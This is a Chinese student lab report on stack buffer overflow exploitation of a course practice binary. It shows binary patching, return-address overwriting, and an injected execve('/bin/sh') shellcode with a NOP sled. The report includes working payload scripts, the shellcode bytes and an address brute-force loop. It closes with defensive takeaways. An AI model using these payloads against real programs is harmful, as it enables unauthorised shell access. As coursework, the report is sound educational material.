20242419 《网络与系统攻防技术》实验1实验报告
20242419 2026-2027-1 《网络与系统攻防技术》实验1实验报告
实验环境:Kali Linux(32 位兼容环境)、GNU Binutils(objdump / readelf)、Python 3、gdb。实验中关闭 ASLR(
kernel.randomize_va_space=0),目标程序pwn1_20242419为 32 位 ELF,栈段权限为RWE。
1. 基础知识
1.1 缓冲区溢出(Buffer Overflow)
缓冲区溢出是指程序向固定长度的缓冲区写入超过其容量的数据时,多余的数据会覆盖相邻内存区域的现象。当缓冲区位于栈上时,溢出的数据可以依次覆盖保存的 EBP 和返回地址,从而劫持程序的执行流程,使其跳转到攻击者指定的地址执行。这是本次实验的核心原理。
1.2 栈帧结构
IA-32 架构下函数调用时的典型栈帧(向低地址增长):
高地址 | 调用者参数 |
| 返回地址 | ← ebp + 4
| 保存的 EBP | ← ebp
| 局部变量 |
低地址 | 缓冲区(buf) | ← ebp - 0x1c(本实验)
函数通过 call 指令将返回地址压栈,push ebp; mov ebp, esp 建立栈帧,sub esp, 0x?? 为局部变量分配空间;返回时 leave; ret 弹出返回地址并跳转。因此,向缓冲区溢出 0x1c + 4 = 32 字节后,接下来的 4 个字节即为返回地址。
1.3 反汇编与 ELF 文件分析
- objdump:
objdump -d -M intel对可执行文件反汇编,得到各函数的虚拟地址与机器码,用于定位getShell、foo、main等关键函数和call指令。 - readelf:
readelf -S查看节(Section)信息,获得.text节的虚拟地址与文件偏移;readelf -l查看程序头,GNU_STACK段的权限标志(如RWE)表明栈是否可执行。 - 虚拟地址与文件偏移的换算:文件偏移 = 虚拟地址 - 节虚拟地址 + 节文件偏移。本实验中
.text节虚拟地址0x08048380、文件偏移0x380,两者恰好相差0x08048000,因此call指令在0x080484b5处对应的文件偏移为0x4b5。
1.4 机器码手工构造
call 指令的机器码为 E8 + 4 字节相对偏移(小端序),相对偏移 = 目标地址 - (call 指令地址 + 5)。例如将 call foo 改为 call getShell:
rel = 0x0804847d - (0x080484b5 + 5) = 0xffffffc3
机器码 = e8 c3 ff ff ff
利用 Python 的 struct.pack('<I', rel32) 可按小端序打包,再用 dd conv=notrunc 将补丁写入指定文件偏移,即可完成手工修改二进制文件。
1.5 Shellcode 与 NOP 雪橇
- Shellcode:一段可直接在目标机器上执行的二进制机器码,本实验使用 25 字节的
execve("/bin/sh", 0, 0)Shellcode,执行后弹出一个 Shell。 - NOP 雪橇(NOP Sled):在 Shellcode 之前填充大量
0x90(NOP 空指令)。返回地址只要落入 NOP 雪橇范围内,CPU 就会逐条“滑”过 NOP 直至执行到真正的 Shellcode,大大降低了对精确跳转地址的依赖。
1.6 防御机制
- ASLR(地址空间布局随机化):
kernel.randomize_va_space为0表示关闭。开启时每次运行的栈地址随机变化,使攻击者难以预测返回地址;本实验为便于演示将其关闭。 - NX/DEP(栈不可执行):若
GNU_STACK为RW(非可执行),栈上注入的 Shellcode 无法执行,需借助 ret2libc、ROP 等技术绕过;本实验目标程序栈为RWE,故可直接执行注入代码。
1.7 Payload 布局(RNS 模式)
[ 32字节填充 'A' ] + [ 返回地址 4字节 ] + [ NOP雪橇 100字节 ] + [ Shellcode 25字节 ] + [ '\n' ]
总长度 32 + 4 + 100 + 25 + 1 = 162 字节:前 32 字节填满缓冲区并覆盖到返回地址;返回地址指向栈上后续的 NOP 雪橇;程序返回后滑入并执行 Shellcode。
2. 实验内容
本实验以 pwn1_20242419(32 位可执行程序,存在 foo 函数的栈溢出漏洞,且自带未调用的 getShell 函数)为目标,完成三个递进任务:
- 任务一:手工修改可执行文件,改变执行流程 —— 通过反汇编定位
main中call foo指令的机器码,手工计算并替换为call getShell的机器码,使程序运行时直接弹出 Shell。 - 任务二:BOF 覆盖返回地址 —— 不修改程序文件,利用
foo中gets的缓冲区溢出漏洞,构造 32 字节填充 +getShell地址的 payload,覆盖返回地址,使程序从foo返回时跳转到getShell。 - 任务三:注入 Shellcode 并执行 —— 不调用程序自带的
getShell,将自行构造的execve("/bin/sh")Shellcode 注入栈上(RNS 模式 payload),让程序跳转执行注入的代码,获得 Shell。
简介方案:三个任务分别对应“静态篡改已有代码”“复用已有代码”“注入新代码”三种攻击思路。任务一通过修改二进制文件中的 call 指令机器码实现;任务二利用 gets 无长度限制造成的栈溢出覆盖返回地址;任务三在栈上布置 NOP 雪橇与 Shellcode,并让返回地址指向雪橇区域。实验中关闭了 ASLR,并确认栈可执行(GNU_STACK 为 RWE),以降低攻击难度,聚焦原理理解。
3. 实验过程
任务一:手工修改可执行文件,改变执行流程
第一步:反汇编,找关键地址
objdump -d -M intel pwn1_20242419 > disasm_20242419.txt
grep -A2 "<getShell>" disasm_20242419.txt
grep -A5 "<main>" disasm_20242419.txt

图 1:objdump 反汇编定位 getShell 与 main 中的 call foo
从输出中得到:
getShell地址:0x0804847dcall foo指令地址:0x080484b5,机器码e8 d7 ff ff ff
第二步:计算新机器码并生成补丁文件
import struct
call_addr = 0x080484b5 # call 指令地址
getshell = 0x0804847d # getShell 地址
rel = getshell - (call_addr + 5)
rel32 = rel & 0xffffffff
data = b'\xe8' + struct.pack('<I', rel32)
print("新机器码:", data.hex())
open('patch_20242419.bin', 'wb').write(data)

图 2:Python 计算 call getShell 的新机器码
输出为 新机器码: e8c3ffffff。
第三步:计算文件偏移
readelf -S pwn1_20242419 | grep -A1 "\.text"

图 3:readelf 查看 .text 节虚拟地址与文件偏移
.text 节虚拟地址 0x08048380,文件偏移 0x000380。计算得到 call 指令的文件偏移为 0x4b5。
第四步:打补丁
dd if=patch_20242419.bin of=pwn1_20242419 bs=1 seek=$((0x4b5)) conv=notrunc

图 4:dd 将补丁写入二进制文件 0x4b5 偏移处
第五步:验证补丁是否生效
objdump -d -M intel pwn1_20242419 | sed -n '/<main>:/,/^$/p'

图 5:objdump 验证 main 中已变为 call getShell
反汇编结果显示 main 中的 call foo 已变为 call getShell,说明补丁写入正确。
第六步:运行验证
./pwn1_20242419

图 6:运行补丁后的程序获得 Shell
程序直接弹出了 Shell,输入 id、whoami 后成功执行,任务一完成。
任务二:BOF 覆盖返回地址
第一步:确认使用原始版本
cp pwn1_20242419.bak pwn1_bof_20242419
chmod +x pwn1_bof_20242419
第二步:确认偏移量
objdump -d -M intel pwn1_bof_20242419 | sed -n '/<foo>:/,/^$/p'
从反汇编中看到 sub esp, 0x38、lea eax,[ebp-0x1c],缓冲区起始于 ebp-0x1c(28 字节),加上保存的 EBP(4 字节),覆盖到返回地址需要 0x1c + 4 = 32 字节。
第三步:生成 BOF 攻击 payload
import struct
payload = b'A' * 32 + struct.pack('<I', 0x0804847d) + b'\n'
open('payload_bof_20242419', 'wb').write(payload)
print("Payload 长度:", len(payload))
第四步:发动攻击
(cat payload_bof_20242419; echo "id"; echo "whoami"; echo "exit") | ./pwn1_bof_20242419

图 7:BOF 攻击成功获得 Shell
成功获得了 Shell,id 和 whoami 均正常输出,任务二完成。
任务三:注入 Shellcode 并执行(重点:一步步攻破过程)
任务三是本次实验中最曲折、最有意思的部分。整个过程大致分为:准备工作、gdb 抓地址、多次失败尝试、自动搜索、最终成功。下面详细回顾。
一、准备工作
关闭 ASLR:
sudo sysctl -w kernel.randomize_va_space=0
cat /proc/sys/kernel/randomize_va_space # 输出为 0

图 8:关闭 ASLR
确认栈可执行:
readelf -l pwn1_bof_20242419 | grep GNU_STACK

图 9:确认 GNU_STACK 为 RWE,栈可执行
输出包含 RWE,表明栈可读、可写、可执行。
准备原始程序:
cd ~/20242419_chenyifu_exp
cp pwn1_20242419.bak pwn1_bof_20242419
chmod +x pwn1_bof_20242419
二、设计 Payload 布局(RNS 模式)
[ 32字节填充 'A' ] + [ 返回地址 4字节 ] + [ NOP雪橇 100字节 ] + [ Shellcode 25字节 ] + [ '\n' ]
Shellcode 为 25 字节的 execve("/bin/sh", 0, 0)。
三、第一步尝试:生成占位 payload,用 gdb attach 抓取 NOP 雪橇地址
生成占位 payload(返回地址先填 0xdeadbeef):
import struct
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
payload = b"A"*32 + struct.pack("<I", 0xdeadbeef) + b"\x90"*100 + shellcode
open('input_shellcode_20242419','wb').write(payload)

图 10:生成占位 payload,返回地址暂填 0xdeadbeef
终端 A 中运行程序,使其停在 gets 等待输入:
(cat input_shellcode_20242419; cat) | env -i ./pwn1_bof_20242419
光标卡住后,不按回车,保持进程存活。
终端 B 中用 pgrep 找到进程号,然后 gdb attach,在 foo 的 ret 处(0x080484ae)下断点:
pgrep -af pwn1_bof_20242419
# 输出 49117 ./pwn1_bof_20242419
gdb -q ./pwn1_bof_20242419
(gdb) attach 49117
(gdb) break *0x080484ae
(gdb) c

图 11:gdb attach 进程并在 foo 的 ret 处下断点
回到终端 A 按一次回车,程序在 ret 处断下。然后在 gdb 中查看栈:
(gdb) info registers esp
(gdb) x/40x $esp

图 12:ret 处栈布局,可见 0xdeadbeef 返回地址与后续 NOP 雪橇
输出显示:
esp 0xffffde1c
0xffffde1c: 0xdeadbeef 0x90909090 0x90909090 0x90909090
0xffffde2c: 0x90909090 0x90909090 0x90909090 0x90909090
...
可以清楚看到 NOP 雪橇从 0xffffde20 开始。于是我们以为返回地址填 0xffffde20 就能成功。
四、第二步尝试:直接用 0xffffde20 生成 payload 攻击,失败
用 0xffffde20 生成最终 payload:
import struct
addr = 0xffffde20
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
payload = b"A"*32 + struct.pack("<I", addr) + b"\x90"*100 + shellcode + b"\n"
open('input_shellcode_20242419','wb').write(payload)

图 13:获得返回地址 `0xffffde20
然后攻击:
(cat input_shellcode_20242419; echo "id"; echo "whoami"; echo "exit") | env -i ./pwn1_bof_20242419

图 14:用 0xffffde20 攻击失败
结果:程序输出 payload 回显,然后直接退出,没有报段错误,但也没有拿到 shell。这说明跳转到了某个合法地址,但没有落在 NOP 雪橇上。后来分析原因:gdb 运行时的栈地址和直接运行时仍有差异,虽然用了 env -i,但 gdb 调试环境本身会引入偏移。
五、第三步尝试:编写自动搜索脚本,在 NOP 雪橇范围内遍历地址
既然地址有偏差,我们就在 NOP 雪橇覆盖的范围内自动搜索。NOP 雪橇是 100 字节,从 0xffffde20 到 0xffffde84。写一个 Python 脚本,从 0xffffde00 到 0xffffdf00 每 4 字节尝试一次:
import struct
import subprocess
shellcode = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
b"\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
)
for addr in range(0xffffde00, 0xffffdf00, 4):
payload = b"A"*32 + struct.pack("<I", addr) + b"\x90"*100 + shellcode + b"\n"
open('input_shellcode_20242419','wb').write(payload)
cmd = f'(cat input_shellcode_20242419; echo "id"; echo "exit") | env -i ./pwn1_bof_20242419'
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
out = r.stdout + r.stderr
if "uid=" in out:
print(f"\n🎉 成功!地址: {hex(addr)}")
print(out.strip())
break
else:
print(f"[-] {hex(addr)} 失败")
脚本运行后,打印了一长串失败信息,最后突然输出:

图 15:自动搜索脚本成功命中地址 0xffffde3c
🎉 成功!地址: 0xffffde3c
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),...
kali
成功!返回地址 0xffffde3c 落在 NOP 雪橇范围内,滑入并执行了 Shellcode。
任务三完成!
4. 问题及解决方案
-
问题1:计算
call相对偏移时容易算错或混淆大小端序 -
问题1解决方案:改用 Python 脚本统一处理:用
rel = getshell - (call_addr + 5)计算相对偏移,rel & 0xffffffff处理负数补码,再用struct.pack('<I', rel32)强制小端序打包。结果e8 c3 ff ff ff一次正确,避免了人工计算错误。 -
问题2:gdb 中看到的栈地址与程序直接运行时的地址不一致,导致 Shellcode 无法命中
-
问题2解决方案:采用两个措施:① 用
env -i清空环境变量运行程序,尽量减小环境差异;② 使用 100 字节的 NOP 雪橇扩大命中范围,并编写脚本在 NOP 雪橇范围内自动逐一尝试候选返回地址。最终自动搜索到正确地址0xffffde3c,成功弹出 Shell。 -
问题3:payload 通过管道传入后 Shell 立即退出,无法交互
-
问题3解决方案:改用
(cat payload_bof_20242419; echo "id"; echo "whoami"; echo "exit") | ./pwn1_bof_20242419的方式,在 payload 之后继续向管道喂入命令,即可看到 Shell 中命令的执行结果;交互式场景则用(cat input_shellcode_20242419; cat) | ./pwn1_bof_20242419保持标准输入不断开。
5. 学习感悟、思考等
本次实验让我第一次完整地走通了“二进制攻击”的三条经典路径,对抽象的课程概念有了非常具体的认识。
首先,对程序执行机制的理解加深了。以前学汇编时,call/ret、栈帧、返回地址只是书本上的图;这次亲手算出 e8 c3 ff ff ff 这 5 个字节,看着 dd 把它们写进文件的 0x4b5 偏移,再用 objdump 确认 call foo 变成了 call getShell,才真正体会到“程序的执行流程本质上就是内存中的一串字节”,攻击者改的就是这几个字节。
其次,三个任务是层层递进的攻防思维训练。任务一属于“静态篡改”,任务二利用了程序自带但未被调用的代码,任务三则完全注入自己的代码。这三者正好对应着从“篡改已有代码”到“复用已有代码”再到“注入新代码”的演进,也让我理解了为什么现代防护要引入 NX、ASLR、栈 Canary——每一层防御都精确针对一类攻击前提。
再次,细节决定成败。这个实验里失败几乎都来自“小”问题:小端序、偏移量差 4 个字节、gdb 与直接运行的栈地址差异、管道输入立即结束。这让我体会到二进制安全的严谨性——攻击和防御双方比拼的就是对内存布局每个字节的精确掌控。同时,NOP 雪橇和自动爆破脚本也让我明白,攻击中“不精确”的部分可以用工程手段(冗余 + 自动化)来弥补。
最后,攻防一体。亲手攻破一个程序之后,我更能站在防御者角度思考:如果我是开发者,gets 应该换成 fgets 并限制长度;编译时应开启 -fstack-protector、-z noexecstack、-fPIE;系统层面应保持 ASLR 开启。理解攻击原理是做好防护的前提,这也是本次实验最大的收获。

浙公网安备 33010602011771号